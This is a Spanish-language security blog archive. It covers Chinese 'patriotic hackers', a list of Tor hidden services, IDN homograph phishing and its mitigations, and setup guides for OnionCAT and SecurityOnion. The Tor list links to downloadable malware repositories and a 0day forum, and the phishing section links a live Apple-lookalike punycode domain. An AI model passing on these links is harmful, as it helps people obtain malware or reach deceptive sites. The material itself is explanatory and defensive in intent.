Hace unos días me encontraba tomando un aperitivo junto con un colega, mientras le explicaba que las empresas, y muy especialmente las PYME podían, incluso en tiempos de crisis, mejorar su infraestructura IT mediante la subcontratación de dichos servicios a empresas especializadas, como por ejemplo THW Consulting
Mes: abril 2017
Es bastante habitual ver administradores de sistemas y personas relacionadas con la seguridad informática aplicando restricciones cuando el sistema que administran y/o defienden, es accedido por una dirección IP cuya procedencia es China. El motivo de esto es que la mayoría de los ataques que se realizan en Internet provienen principalmente de China y Rusia y aunque esto no es algo nuevo merece la pena entender el motivo de esta situación y en este artículo hablaré sobre algunos hechos y cuestiones sobre el gobierno chino y los hackers que, a lo mejor, no sabias. Espero que lo disfrutes.
El gobierno chino ha demostrado ser completamente hermético con respecto a sus políticas de acceso a la información, bloqueando miles de sitios en Internet, impidiendo el uso de ciertas herramientas y manteniendo un control estricto sobre las opiniones expresadas públicamente por parte de los ciudadanos y turistas del país. A diferencia de otros países del mundo occidental, el gobierno chino pide a sus ciudadanos compromiso y apoyo, siendo uno de los deberes de cualquier persona que resida en la república popular de China, de hecho, aunque nos pueda resultar algo extraño o difícil de creer, se anima a estudiantes, profesionales y a cualquier persona residente en China a emprender ataques contra los enemigos de la república siendo éste su deber patriótico y aunque estos colectivos de personas no son empleados del gobierno, pueden haber ciudadanos corrientes con buenos niveles de conocimientos que tienen la capacidad de coordinar y ejecutar ataques contra sistemas en países extranjeros sin mayores restricciones legales, algo que en USA o Europa es evidentemente perseguido y penado. A estas personas se les conoce como «hackers patrióticos» y se caracterizan por ejecutar ataques de DDoS, web defacement, envío de malware en correos electrónicos y ataques similares. Se trata de actividades que pueden ser llevadas a cabo por cualquier ciudadano, incluyendo evidentemente, ciberdelincuentes. Actualmente existen pocos estudios sobre las relaciones entre los hackers patrióticos y el gobierno de la república popular China, no obstante, la investigación más completa que se ha registrado a la fecha de redactar éste artículo ha dado lugar al libro que recibe el título «The Dark Visitor» de Scott J. Henderson en el cual el autor expone las principales características culturales, políticas e incluso filosóficas sobre el cómo y el por qué los hackers patrióticos chinos planean y elaboran ataques contra sistemas ubicados en países extranjeros. En dicho libro se habla sobre el fuerte sentido de pertenencia y nacionalismo del pueblo chino y cómo es considerado un acto justo y honorable defender a su país realizando ataques contra entidades extranjeras que debido a sus actividades políticas o económicas, pueden suponer una amenaza contra los intereses de la nación o su modo de vida, motivo por el cual son considerados el «enemigo».
Evidentemente, cualquiera puede aprovechar el hecho de que el gobierno de dicho país apoya las acciones de los ciudadanos que actúan como hackers patrióticos y esto da lugar a una situación muy beneficiosa para quienes desean realizar ataques contra cualquier sistema en Internet (fuera de China obviamente).
Como se ha explicado anteriormente, es probable que el principal objetivo de un grupo de ciberdelincuentes en China, sea el de ampararse en el apoyo que el gobierno extiende a los «hackers patrióticos» para ejecutar ataques que vayan de la mano con la estrategia ofensiva del gobierno contra países que podría considerar «enemigos» ahora o en un futuro y evidentemente, también ejecutar pruebas de penetración avanzadas contra los objetivos del grupo de atacantes. Es importante tener en cuenta que el gobierno chino tiene una política muy clara con respecto a la imagen y las opiniones que se expresan en cualquier tipo de medio contra ellos y en consecuencia, dichas políticas son apoyadas por sistemas de vigilancia masivos que intentan detectar y censurar cualquier critica u opinión desfavorable, siendo estos los tipos de «crimines» más perseguidos y severamente castigados. Los ataques informáticos también son vigilados, pero solamente aquellos que puedan suponer una amenaza para sus intereses y no son tan perseguidos o castigados cuando el destino de dichos ataques está relacionado con un país extranjero, dando lugar al hecho de que China sea un sitio idóneo para el establecimiento y posterior ejecución de ataques contra cualquier objetivo en Europa, Estados Unidos o cualquier otro lugar del mundo.
Regulaciones, censura y monitorización: El gran “firewall Chino”.
Además de lo explicado anteriormente, una de las características más llamativas del aparato legislativo chino tiene que ver con las regulaciones impuestas sobre el uso de Internet por parte de los ciudadanos y turistas extranjeros. El gran “firewall Chino” es la forma coloquial en la que se conoce a las medidas instauradas en el país para impedir el uso de ciertos servicios y aplicaciones que no se encuentran permitidas, especialmente aquellas aplicaciones diseñadas para compartir información o incluso opiniones fuera del “radar” del gobierno. Por este motivo, cuando visitamos cualquier región de la China continental nos encontramos con que servicios comunes como Facebook, Instagram, Twitter, entre otros, se encuentran bloqueados. Como se comentaba anteriormente, uno de los crímenes más perseguidos consiste precisamente en expresar opiniones desfavorables o difamatorias contra el gobierno Chino y evidentemente, si dichas opiniones se expresan en espacios públicos en Internet y tienen un calado importante o se vuelven “virales” la persona o grupo que ha diseminado dicho mensaje tendrá que afrontar consecuencias legales graves, independiente de si se trata de un turista o una persona que reside en el país. El gobierno chino no tiene un control directo sobre lo que un usuario utilizando redes como Facebook puede expresar y mucho menos tiene la posibilidad de censurar los contenidos almacenados en dicha red, este es uno de los motivos por los que este tipo de servicios se encuentran bloqueados en China pero además existe un motivo adicional y es el económico. “Cerrar las puertas” a empresas extranjeras supone inmensos beneficios a empresas locales que prestan exactamente los mismos tipos de servicios, teniendo un nicho de mercado de millones de usuarios que pueden utilizar sus aplicaciones y herramientas para interactuar con otras personas o compartir información, además, gracias a los acuerdos que empresas como Baidu o Tencent tienen con el gobierno chino, la monitorización y la censura de los contenidos es mucho más efectiva, tienen todo el control sobre lo que se publica y quién lo hace.
Aunque las redes sociales más populares en occidente, tales como Facebook, Twitter, Instagram, entre otras se encuentran restringidas en China, la población utiliza múltiples aplicaciones, plataformas y servicios para comunicarse. Evidentemente dichos servicios se encuentran bajo vigilancia constante para mantener el control , siendo de especial interés cualquier tipo de comentario negativo contra el gobierno o sus integrantes.
Los principales servicios de mensajería y para la creación de perfiles sociales son Weixin/WeChat, Momo y QQ, los cuales tienen características bastante particulares, además de que soportan millones de usuarios registrados que las utilizan diariamente. Por otro lado, a diferencia otros gobiernos del mundo, la independencia tecnológica extranjera es uno de los objetivos más importantes del gobierno chino, ya que consideran que el riesgo de que el software que utilizan contenga puertas traseras o cualquier tipo de rutina maliciosa para el espionaje es una amenaza seria y real. En este sentido, gracias al apoyo del gobierno junto con algunas instituciones del mundo académico ha nacido el famoso COS el cual actualmente es utilizado en más de un 80% de los dispositivos en China y además, el sistema Kylin es una distribución basada en Ubuntu que actualmente es muy habitual en los ordenadores, tablets y otros dispositivos móviles en dicho país. Se trata de una distribución que puede descargarse libremente desde su sitio web oficial y que es fácil de instalar y configurar, del mismo modo que cualquier sistema basado en Linux moderno. El gobierno anima el uso de tecnologías propias desarrolladas “en casa” y de esta forma evitar cualquier tipo de amenaza que provenga del extranjero (como puede ser un sistema windows, por ejemplo, aunque bien es cierto que esto ya no pasa en el mundo occidental y windows ya no lo usa nadie, no?).
Hackers Patrióticos
El gobierno chino impulsa el poder de la unidad difundiendo mensajes de carácter nacionalista puede mantener su sistema social y político. Las personas en China desde muy temprana edad comienzan a tener un sentido de pertenencia poco frecuente en otros países y aceptan las normas impuestas sin mayores problemas, ya que consideran que son medidas pensadas por y para el beneficio de todos. Desde muy temprana edad, a las personas se les inculca una serie de valores que definen sus rasgos socioculturales y relación con el mundo exterior, los cuales se centran muy especialmente en el respeto, la lealtad y la colaboración. Algunos de esos valores suelen ser muy distintos a los de las culturas occidentales, especialmente en el continente Europeo en donde se premia e impulsa la competitividad. Para entender el fenómeno de los “hackers patrióticos” hay que asimilar el hecho de que nuestro mundo ha cambiado muy rápidamente en las últimas décadas, durante la segunda guerra mundial y la confrontación con la Unión Soviética que dio lugar a la guerra fría, el poder de una nación se determinaba por su fuerza militar y capacidades de espionaje sobre el terreno, sin embargo en los tiempos que corren actualmente, el poder militar ya no es el principal factor de superioridad de una nación, ahora otras cuestiones como la economía, la ciencia y los avances tecnológicos son cruciales para definir el poder de una nación sobre otra en términos de fuerza e influencia. Como muchos de vosotros ya sabréis, hoy en día los gobiernos valoran muchísimo el talento y su capacidad de ejecutar diferentes tipos de ataques contra instalaciones o sistemas “enemigos”, por éste motivo ahora surgen equipos destinados a la “ciberdefensa” o el “ciberataque” que trabajan directamente con el gobierno en cuestión y aunque desde una perspectiva occidental, la idea de ejecutar ataques contra sistemas extranjeros o espionaje activo contra otra nación deben ser actividades planificadas y dirigidas por iniciativa propia del gobierno, en el caso de China el enfoque aplicado es completamente distinto, los lazos que se forman entre las autoridades y civiles, profesionales o freelances son difíciles de entender desde nuestra perspectiva occidental, ya que como se ha dicho anteriormente, el gobierno chino fomenta la unidad en todos los aspectos y se espera que los ciudadanos asuman un rol activo en la defensa de su país tanto en tiempos de conflicto como en tiempos de paz. Por este motivo, surgen y se disuelven constantemente grupos como “Red Hacker Alliance”, “Green Army”, “China Eagle Union”, “Honker Union”, entre otros, todos conformados por profesionales, estudiantes y civiles que no tienen una relación directa con el gobierno, pero que con sus actividades apoyan el plan estratégico nacional, tanto es así que la PLA ha enfatizado en múltiples ocasiones la necesidad de una integración entre los roles militar y civil con el fin de afrontar de una forma mucho más efectiva guerras futuras.
Como podemos apreciar existen 2 enfoques distintos, por un lado el enfoque occidental es reservado, cerrado y solamente permite que los miembros del gobierno o empresas colaboradoras puedan actuar en su nombre mientras que los civiles quedan en un segundo plano. En el enfoque oriental, vemos que aunque el gobierno chino cuenta con más de 2 millones de integrantes que hacen parte de diferentes equipos de ciberdefensa, impulsan a los ciudadanos y simpatizantes a apoyar su estrategia militar y ser parte activa de ella, dando lugar al fenómeno conocido como “Hackers patrióticos”.
Antes de finalizar con éste breve artículo, para aquellos interesados en la terminología utilizada por hackers e informáticos en China, os dejo un par de imágenes con la relación de los “Han zi” (caracteres chinos) Pinyin y su significado.
Se trata de un análisis muy breve y aunque han faltado muchas cosas que merece la pena mencionar sobre los “hackers patrióticos” y su relación con el gobierno chino, es algo que dejaré para una próxima entrada.
Un saludo y Happy Hack!
Adastra.
Hace algún tiempo escribí unas pocas entradas sobre algunos servicios ocultos en la red de TOR que a mi parecer eran interesantes por la información que ofrecían, sin embargo, estamos hablando de un red que cambia constantemente y los servicios ocultos se crean y se destruyen de una forma bastante rápida, por ese motivo casi ninguno de los enlaces de los post de aquella época funcionan correctamente a día de hoy, así que con el fin de actualizar un poco todo aquello y comentar algunos de los servicios ocultos más interesantes que me he encontrado en las últimas semanas, he decidido escribir éste post con algunos sitios interesantes en la deep web de TOR:
Open Hacking Lab:
Se trata de un blog enfocado completamente a la seguridad ofensiva y técnicas de hacking aplicadas “in the wild”. Se actualiza regularmente y tiene algunos post que en mi opinión son realmente buenos.
Onion: http://4xiz3doafaqvbxjh.onion/
Cerberus Malware Repository:
Como su nombre indica, se trata de un repositorio bastante completo de muestras de malware, categorizadas en secciones y con la posibilidad de descargar el código completo de cada muestra. Resulta muy útil para estudiar sobre cómo se desarrollan éste tipo de programas y también, para analizarlos desde una herramienta como Cuckoo Sandbox.
Onion: http://cerberussssc7cat.onion/index.php
OnionTube:
Permite compartir vídeos anónimamente sobre Tor. Simplemente permite subir vídeos y posteriormente compartirlos a cualquiera partiendo de un enlace generado por oniontube. No se admite contenido ilegal según las reglas y además, cada vídeo subido no se comparte públicamente con todos los usuarios que visitan OnionTube, es necesario conocer la dirección onion del vídeo.
Onion: http://35khdgeiyit26syj.onion/
OnionDir:
Es uno de los directorios de sitios onion más completos y mejor categorizados que hay a la fecha de redactar éste post. No obstante, no filtra contenidos ilegales y cp, con lo cual algunos enlaces pueden ser bastante desagradables. Lo mejor es navegar por las categorías de “Communication”, “Libraries/Wikis”, “Hosting” y otras similares. Suelen haber enlaces a sitios muy interesantes con información útil.
Onion: http://auutwvpt2zktxwng.onion
Hidden Answers:
Se trata de un servicio similar Yahoo Answers, aunque obviamente dado el contexto, las preguntas que formulan los usuarios en ocasiones suelen salirse de lo normal/habitual. Aún así, es interesante ver que muchas de las preguntas formuladas están relacionadas con el hacking y el anonimato.
Onion: http://answerstedhctbek.onion/
TorGuerrillaMail: Se trata de un servicio de correo electrónico temporal, muy útil en el caso de establecer comunicaciones con alguien sin necesidad de dar una dirección de correo real. No es necesario registrarse y una cuenta puede durar hasta 1 hora.
Onion: http://grrmailb3fxpjbwm.onion/
Sinbox:
Otro buen servicio de correo electrónico en la red de TOR, el cual cuenta con una interfaz sencilla pero completamente funcional, además no requiere el uso de Javascript o cookies.
Onion: http://sinbox4irsyaauzo.onion/
TorCH:
Se ha convertido en uno de los buscadores más populares en la deep web ya que cuenta con un directorio de direcciones bastante extenso y un buen motor de búsqueda que permite encontrar servicios ocultos en la web profunda de TOR con los criterios establecidos.
Onion: http://xmh57jrzrnw6insl.onion
0day Forum:
Una vez te registras en éste foro, tienes acceso a una red bastante amplia de usuarios que comentan sobre novedades en el mundo de la seguridad informática, especialmente sobre vulnerabilidades recientes que se estan explotando “in the wild”. También se encuentra en la clearweb: https://0day.su/
Onion: http://qzbkwswfv5k2oj5d.onion
Anoninbox:
Se trata de un servicio de correo electrónico basado en Tor y que (supuestamente) tiene por objetivo brindar buenos niveles de privacidad a sus usuarios.
Onion: http://ncikv3i4qfzwy2qy.onion/
Ya van 10, pero… vamos a incluir un sitio más:
Ex0du$:
Si te interesa el análisis de RATs, Keyloggers, Ransomware y demás programas inofensivos y “user-friendly”, puedes echarle un vistazo al repositorio de ex0du$.
Onion: http://exoduockgfq3ikf7.onion/
Se trata simplemente de unos pocos servicios que se encuentran disponibles actualmente, pero con bastante frecuencia hay cambios y es probable que en unas pocas semanas o incluso días, algunos de estos servicios ya no estén disponibles, así que tenerlo en cuenta.
Un saludo y Happy Hack!
Adastra.
Entrada escrita por «L-Cafe».
Twitter @L__Cafe
Telegram Nick: lian.rs
En los últimos días se ha hablado mucho de un tipo de ataque de phishing que consiste en sustituir letras de un dominio por caracteres, generalmente cirílicos, que tienen el mismo aspecto a simple vista, pero diferente representación Unicode.
Por ejemplo: Haz click aquí: https://www.xn--80ak6aa92e.com/. La página que obtienes no es la oficial de Apple. ¿Por qué? Hace mucho tiempo, se elaboró un estándar que permitía registrar nombres de dominio que contuvieran caracteres fuera de ASCII, por ejemplo: nombres de dominio con caracteres como ç, ñ, o incluso hanzi, como 國, caracteres árabes, como جزائر, entre otros.
xn–80ak6aa92e.com
En concreto, idiomas como el ruso, tienen letras similares al alfabeto latín, y, dado que se pueden registrar dominios con estos caracteres, por desgracia también se puede utilizar esto con fines no tan nobles, como realizar phishing.
Pero el candadito verde significa sitio seguro, ¿No?
Este es otro gran problema. Debido a que estos dominios son totalmente válidos y estándar, también se pueden solicitar certificados de cifrado, sin embargo, si indagamos, veremos que el certificado está expedido por Let’s Encrypt, una autoridad certificadora que expide certificados gratuitos. Estos certificados gratuitos están genial para administradores de sistemas que no tengan muchos recursos, y no quieran gastarse cientos de euros en un certificado para proteger a sus visitantes.
certificado de xn–80ak6aa92e.com
Mientras que la web oficial tendría un certificado con validación extendida (EV), que generalmente suele costar bastante más caro, pero a una gran multinacional como Apple, no le supone un gran desembolso. Esta es una de las razones más importantes para contratar certificados con validación extendida en lugar de certificados sencillos: Ayudan a contrarrestar el phishing en gran medida, especialmente en los casos en los que la dirección web es muy parecida. Podría por ejemplo darse que alguien registre el dominio appiie.com, pero los enlaces se entreguen con las dos i en mayúsculas, haciendo parecer la letra L.
Cómo evitarlo
Si utilizas Google Chrome, debes actualizar inmediatamente si estás utilizando una versión inferior a la 58.0.3029.81. Una vez que hayas actualizado, el enlace del principio aparecerá como xn--80ak6aa92e.com, que es el dominio real, evidenciando que la web efectivamente no es apple.com.
En el caso de Firefox, debes seguir estos pasos:
1. Escribe about:config en la barra de direcciones y pulsa enter.
2. Escribe punycode en la barra de búsqueda del gestor de configuración.
3. Busca un parámetro llamado network.IDN_show_punycode.
4. Haz doble click para cambiar su valor de false a true.
Independiente de esto, la mayoría de navegadores modernos (ejem, Internet Explorer también, cómo han cambiado las cosas) incluyen filtros anti phishing por defecto, lo que ayuda a contrarrestar este problema en gran medida, pero no son sistemas totalmente fiables (¿Acaso hay algo totalmente fiable?).
En resumen
Como siempre, debéis tener cuidado con dónde metéis vuestros datos, usar verificación en dos pasos siempre que sea posible (en Apple lo es), utilizar gestores de contraseñas para generar claves únicas y totalmente aleatorias para cada sitio.
Entrada escrita por «L-Cafe».
Twitter @L__Cafe
Telegram Nick: lian.rs
Cuando se habla de servicios ocultos en TOR, nos referimos típicamente a servicios tradicionales que funcionan únicamente por TCP, por ejemplo un servidor web, SSH, SMB o FTP, todo es posible. Crear un servicio oculto es tan simple como utilizar las directivas HiddenServiceDir y HiddenServicePort, las cuales se encargan de crear o leer un directorio dado en donde se encontrará la clave privada del servicio y para establecer el puerto del servicio en ejecución respectivamente. En realidad la creación de un servicio oculto tiene una dificultad mínima y cualquiera sin demasiados conocimientos puede hacerlo, sin embargo nos encontramos con que únicamente vamos a poder exponer un puerto por cada combinación de HiddenServiceDir y HiddenServicePort en el fichero de configuración de TOR (también conocido como “torrc”). Si queremos tener, por ejemplo, todos los servicios de un sistema disponibles en la deep web de TOR, tenemos que ir creando “pares” de ambas directivas por cada servicio que se quiera exponer. Esto con muchos servicios resulta tedioso y difícil de mantener, además de que las direcciones Onion no solamente no son fáciles de recordar, sino que además al no ser resolubles por medio de un servidor DNS o similar, pueden haber varias dificultades a la hora de acceder a éste tipo servicios utilizando ciertas herramientas. Estos son solamente algunos de los problemas que se suelen presentar a la hora de crear y acceder a un servicio oculto en TOR y desde luego, en ciertos casos, no resulta práctico. Ahora bien, tomando como referencia el funcionamiento de Freenet, en ocasiones resulta conveniente tener la posibilidad de crear grupos cerrados dentro de la propia red anónima para que sea posible el intercambio de información o incluso el acceso a servicios que únicamente pueden ser consultados por los miembros de dicho grupo. Esta característica no se encuentra disponible en TOR, sin embargo existe una alternativa bastante interesante de la que ya se ha hablado de forma muy superficial en éste blog y que merece la pena explicar en detalle, dicha alternativa es conocida como OnionCat.
OnionCat es una solución robusta y eficiente para afrontar los problemas mencionados anteriormente y que evidentemente se encuentran relacionados con la arquitectura de los servicios ocultos en TOR. OnionCAT permite crear un adaptador VPN sobre IPv6 que funciona en la capa de red (capa 3 en el modelo OSI) y la resolución de las direcciones ONION se lleva a cabo en la capa de transporte (capa 4 del modelo OSI), de ésta forma es posible tratar paquetes IP y facilitar el acceso a los servicios ocultos en redes anónimas tales como TOR o incluso I2P (modo GarliCAT).
OnionCAT se encarga de calcular y asignar de forma automática una dirección IPv6 única cuyo destino apunta a un servicio oculto de TOR, de ésta forma provee de un mecanismo único de enrutamiento, en donde los usuarios pueden comunicarse de forma transparente sobre direcciones IPv6 y acceder a prácticamente cualquier tipo de servicio basado en IP de forma anónima gracias a la arquitectura de TOR.
Para utilizar OnionCAT es necesario especificar la dirección onion de un servicio en ejecución y a continuación, la herramienta se encargará de generar una interfaz TUN con la que se podrá comenzar a trabajar. Uno o varios usuarios deben realizar el mismo procedimiento para poder interactuar por medio de sus correspondientes direcciones IPv6.
Cuando llega un paquete IPv6 a OnionCAT, éste intentará extraer los primeros 80 bits de la dirección del destino y traducirlos a una URL *.onion, para finalmente abrir un nuevo circuito de TOR hacia el destino indicado en el paquete. Se trata de un procedimiento que realiza de forma automática la herramienta, con lo cual no es necesario aplicar configuraciones complejas ni mucho menos, basta simplemente con instalar OnionCAT y configurar adecuadamente la instancia de TOR para que todo funcione correctamente. Es probable que la mejor forma de entender el funcionamiento de todo esto sea por medio de un ejemplo y es justo lo que se hará a continuación.
INSTALACIÓN DE ONIONCAT.
OnionCAT es una utilidad desarrollada en C, con lo cual como muchas herramientas en dicho lenguaje, tiene su correspondiente fichero “configure”, el cual se encarga de la compilación de los ficheros fuente para que posteriormente, se pueda ejecutar el comando “make”. OnionCAT se puede descargar desde aquí: https://www.cypherpunk.at/ocat/download/ y una vez descargada la última versión estable se debe ejecutar el script “configure” y luego “make && make install”. Finalmente, para verificar que ha quedado correctamente instalado en el sistema, basta con lanzar el comando “ocat”. Deberían de aparecer cada una de las opciones disponibles en ocat.
Instalación de OnionCAT en el sistema.
A continuación, es necesario crear un servicio oculto en una instancia de TOR cuyo endpoint en la deep web sea el puerto 8060 y desemboque en la máquina local en el mismo puerto. El fichero “torrc” puede contener lo siguiente:
DataDirectory /home/adastra/tor_data_directory
SOCKSPort 9050 Log notice file /home/adastra/tor_data_directory/tor_log.log HiddenServiceDir /home/adastra/ servicioOcultoOCat HiddenServicePort 8060 127.0.0.1:8060 |
Es un contenido bastante simple, pero más que suficiente para proceder con el arranque de la instancia de TOR y luego, dejar que OnionCAT “haga su magia”.
Bien, el servicio oculto está preparado en el puerto 8060, ahora solamente falta levantar OnionCAT por medio del comando “ocat” pasándole como argumento el contenido del fichero “/home/adastra/servicioOcultoOCat/hostname” que ha generado automáticamente TOR al momento de levantar la instancia (obviamente el directorio puede ser otro, basta simplemente con editar la directiva de configuración HiddenServiceDir). El siguiente comando permitirá generar una interfaz TUN con una dirección IPv6, que como veremos un poco más abajo, será la que nos permita acceder a otros servicios que utilicen también OnionCAT como si se encontrarán en la misma red.
Hasta éste punto únicamente contamos con una dirección IPv6, la cual dará acceso a otras instancias de OnionCAT que se encuentren funcionando en la red de TOR, solamente es necesario compartir ésta dirección con aquellas personas con las que queremos conectarnos.
Para hacerlo más interesante, desde una VM vamos a crear otra instancia de TOR+OnionCAT con la misma configuración vista anteriormente y se podrá apreciar que ambas instancias pueden acceder a cualquier servicio e incluso, utilizar protocolos distintos a TCP, todo sobre TOR y con el adaptador de red virtual generado por OnionCAT y por si fuera poco, nos olvidamos de direcciones Onion, es posible utilizar directamente direcciones IPv6 y acceder no sólo a un servicio concreto, accedemos a todo lo que pueda ofrecer el sistema, como si se tratara de una red local.
En el otro sistema se ha seguido exactamente el mismo procedimiento, es decir, se ha levantado una instancia de TOR con un servicio oculto que apunta al puerto 8060 tanto interno como externo y a continuación, se ha utilizado OnionCAT para generar la interfaz TUN con su correspondiente dirección IPv6. Para comprobar el correcto funcionamiento de ésta configuración, basta simplemente con ejecutar un “ping6” contra dicha dirección IP y ver cómo responde (desde el primer sistema configurado contra el segundo obviamente)
Tal y como se puede ver en la imagen anterior, el “ping6” contra la dirección IPv6 del sistema que se encuentra en la VM responde perfectamente, en este caso todo pasa por medio de la red TOR antes de llegar a su destino. Hay que tener en cuenta que es un proceso que puede tardar un poco, no hay que olvidar que lo que hay por debajo es un servicio oculto estándar de TOR, por ese motivo las conexiones pueden ir un poco más lentas.
Ahora, utilizando la dirección IPv6 de la máquina virtual, vamos a conectarnos a un servicio SSH que se encuentra en dicha máquina.
Como se puede apreciar, la conexión se ha podido establecer correctamente. Esto mismo aplica a cualquier servicio que se encuentre en dicho sistema, como por ejemplo un servidor web, FTP, POP, SMB, etc. Como decía antes, nos olvidamos de las direcciones Onion y ahora tiramos directamente de direcciones IPv6. Esto mismo lo podría hacer cualquier instancia que utilice OnionCAT en la red de TOR, basta simplemente con que conozca la dirección IPv6 con la que desea establecer una conexión y consumir cualquier tipo de servicio, de manera confidencial y anónima utilizando la infraestructura de TOR.
Así es posible crear grupos cerrados de personas que comparten servicios o información sin necesidad de depender de servicios ocultos y direcciones Onion, cada uno de los miembros intercambia sus direcciones IPv6 y puede ofrecer varios servicios sobre IP y por debajo, todo pasará por medio de TOR, ya no seria necesario recordar «N» direcciones Onion para acceder a «N» servicios ocultos de una instancia, únicamente conociendo la dirección IPv6 se puede acceder a todo lo que exponga dicha máquina.
Para demostrar estas afirmaciones, se puede lanzar directamente un escaneo con Nmap contra la dirección IPv6 utilizada anteriormente y como se puede apreciar en la siguiente imagen, se detectan varios servicios con puertos abiertos.
Si no te gusta manejar o crear servicios ocultos uno a uno o estas cansado de utilizar direcciones Onion para compartir información o tener algún servidor en la deep web de TOR, la mejor solución que tienes actualmente es OnionCAT.
Un saludo y Happy Hack!
Adastra.
SecurityOnion es un distribución basada en GNU/Linux, concretamente en Ubuntu y contiene un conjunto bastante completo de herramientas para la detección/prevención de amenazas. Utilizando una o varias instancias de SecurityOnion se puede tener una red con mecanismos de defensa sólidos y sensores que identificarán rápidamente las principales amenazas y eventos potencialmente peligrosos. Entre las herramientas que se encuentran incluidas en SecurityOnion nos encontramos con IDS/HIDS, herramientas para el procesamiento de paquetes, de logs y análisis de tráfico, entre otras. A continuación se explicará el funcionamiento de SecurityOnion y sus elementos “core”.
Netsniff-ng: Se trata de sniffer muy potente y pensado principalmente para sistemas GNU/Linux, muy similar a TCPDump/Wireshark, pero con la diferencia de que explota de una forma bastante eficiente los beneficios que aporta el “PACKET_MMAP” del Kernel. En el caso de SecurityOnion el uso de “Netsniff-ng” se centra en la captura constante y completa de los paquetes de datos que se mueven en la red y obviamente, dicha información es posteriormente utilizada por otras herramientas para su análisis completo.
Suricata y Snort: Se trata de las soluciones más conocidas y populares en el mundo de los IDS open-source. Ambas alternativas se encargan detectar intrusiones y/o posibles amenazas gracias los motores de reglas personalizables que incluyen ambas soluciones. En efecto, tanto Suricata como Snort son IDS “rule-driven”, es decir, herramientas que tras aplicar una serie de patrones configurables por el administrador, son capaces de detectar tráfico sospechoso o malicioso.
Bro IDS: Si bien el objetivo de Bro IDS es el mismo que el de Suricata y Snort, el modelo aplicado para la resolución de las amenazas en un entorno de red es completamente distinto. Como se mencionaba antes, los IDS basados en reglas utilizan un conjunto de patrones que sirven como “fingerprints” de amenazas o incluso ataques que se están llevando a cabo en la red. Dichos patrones pueden ser muy flexibles y tener unos muy buenos niveles de efectividad contra amenazas comunes, pero dado el dinamismo del tráfico en segmentos de red y la facilidad que tienen los atacantes de ocultar payloads, malware y todo de tipo de paquetes maliciosos, es muy probable que un sistema basado en reglas sea capaz de filtrar todas las posibles amenazas que pueden producirse. En éste sentido, los IDS “analysis-driven” suponen un enfoque distinto a los IDS tradicionales basados en reglas, ya que además de capturar eventos potencialmente peligrosos, provee de un framework bastante potente para analizar todos los eventos y el tráfico generado, de tal forma que el analista de seguridad podrá verificar si efectivamente si se está llevando a cabo un ataque o si hay algún tipo de amenaza en la red.
OSSEC: Además de las soluciones de seguridad basadas en eventos producidos en red como los NIDS mencionados antes, SecurityOnion también cuenta con OSSEC como solución HIDS para el establecimiento de endpoints y agentes que se encarguen de monitorizar los eventos producidos en “puntos fijos” dentro de la red. OSSEC permite ejecutar labores de recolección y análisis de logs, chequeos de integridad en ficheros, gestión de políticas, sistema en tiempo real de alarmas, entre otras cosas. OSSEC, al igual que los NIDS mencionados anteriormente, tienen licencias opensource y por ese, entre otros motivos, se encuentran incluidas directamente en SecurityOnion con una configuración por defecto.
La capacidad de capturar y correlacionar eventos producidos en sistemas aislados y en el contexto de red es algo bastante aconsejable para una detección y prevención mucho más eficiente de amenazas y desde luego es por lo que apuestan soluciones como SecurityOnion. No obstante, la cantidad de paquetes a procesar no es nada despreciable y precisamente por ese motivo, en SecurityOnion también existen herramientas para el análisis de toda esa información.
Instalación
No es un procedimiento complejo ni mucho menos, se trata de una distribución basada en Ubuntu, más concretamente en la versión 14.04 (a la fecha de redactar éste artículo) y se puede instalar directamente en el ordenador o como una máquina virtual con VMWare o VirtualBox. Lo primero es descargar la imagen ISO que se encuentra disponible en el repositorio GitHub del proyecto, ubicado en la siguiente dirección: https://github.com/Security-Onion-Solutions/security-onion
Una vez descargada la imagen, se puede proceder con la instalación del mismo modo que se haría con cualquier sistema basado en GNU/Linux. Otra alternativa para instalar todas las características disponibles en SecurityOnion, consiste en instalar un Ubuntu 14.04 y posteriormente añadir los repositorios PPA de SecurityOnion, los cuales nuevamente, a la fecha de redactar éste artículo, únicamente son compatibles con dicha versión de Ubuntu. Por otro lado, también es importante verificar el checksum de la imagen ISO descargada para comprobar su integridad, no cuesta mucho y lleva poco tiempo así que es altamente recomendable hacerlo, las instrucciones se encuentran incluidas en el siguiente enlace: https://github.com/Security-Onion-Solutions/security-onion/wiki/Installation. Ahora bien, para la instalación se puede utilizar una versión de Ubuntu 14.04 recién instalada y posteriormente, configurar todos los paquetes disponibles en SecurityOnion, es algo que viene bien aprender a hacer ya que en despliegues en entornos de producción es mejor instalar un Ubuntu e ir configurando todo de la forma más fina posible. El procedimiento es simple, basta con ejecutar los siguientes comandos para tener todo lo necesario antes de comenzar la instalación de los paquetes de SecurityOnion con “apt-get”.
>sudo apt-get -y install software-properties-common
>sudo add-apt-repository -y ppa:securityonion/stable
>sudo apt-get update
Tras la importación del repositorio es necesario ejecutar un “update” para posteriormente, ejecutar el siguiente comando de instalación:
>sudo apt-get install securityonion-all syslog-ng-core
Se trata de un procedimiento que puede tardar un buen rato mientras se instalan todos los componentes necesarios. Finalmente, se debe ejecutar el siguiente comando para realizar el procedimiento inicial de configuración, el cual consiste en la ejecución de un asistente muy sencillo que nos guiará paso a paso.
>sudo sosetup
En el último paso, se procede a realizar los cambios directamente en el sistema y finalmente se reinicia. Después de reiniciar es posible arrancar todos los servicios de SecurityOnion con el siguiente comando:
>sudo service nsm start
No obstante, es probable que existan errores tras reiniciar el sistema, como por ejemplo que el servidor “securityonion” no exista o no se encuentre el usuario “sguil”. Esto indica que el asistente no ha realizado todas las labores de configuración que debería y para solucionarlo, basta simplemente con volver a ejecutar el script.
Por último, se puede apreciar que SecurityOnion se encuentra activo con todos los servicios levantados y en funcionamiento, ahora queda comenzar a configurar cada uno de los servicios de forma individual para llegar a la mejor configuración posible de acuerdo a las necesidades especificas del cliente o empresa.
En próximas entradas se explicara mas en detalle cada uno de estos servicios y las herramientas disponibles para realizar una configuración enfocada a entornos productivos.
Un saludo y Happy Hack!
Adastra.
Teletrabajo o el placer de trabajar en albornoz: Por Carmelo «Kinjo» Toledo.
Pepe Lotas le invade la ansiedad… se ha levantado un poco tarde y en estos momentos se encuentra atrapado en un monumental atasco. ¡Que horror! Si la cosa sigue así… va a llegar aproximadamente veinte minutos tarde con respecto a la hora de entrada que tiene asignada en su actual puesto de trabajo. Las pulsaciones de Pepe van en aumento al tiempo que las emisiones de monóxido de carbono de su vehículo junto con las del resto de compañeros de embotellamiento, le ofrecen un desayuno gratuito a nuestra atmósfera.
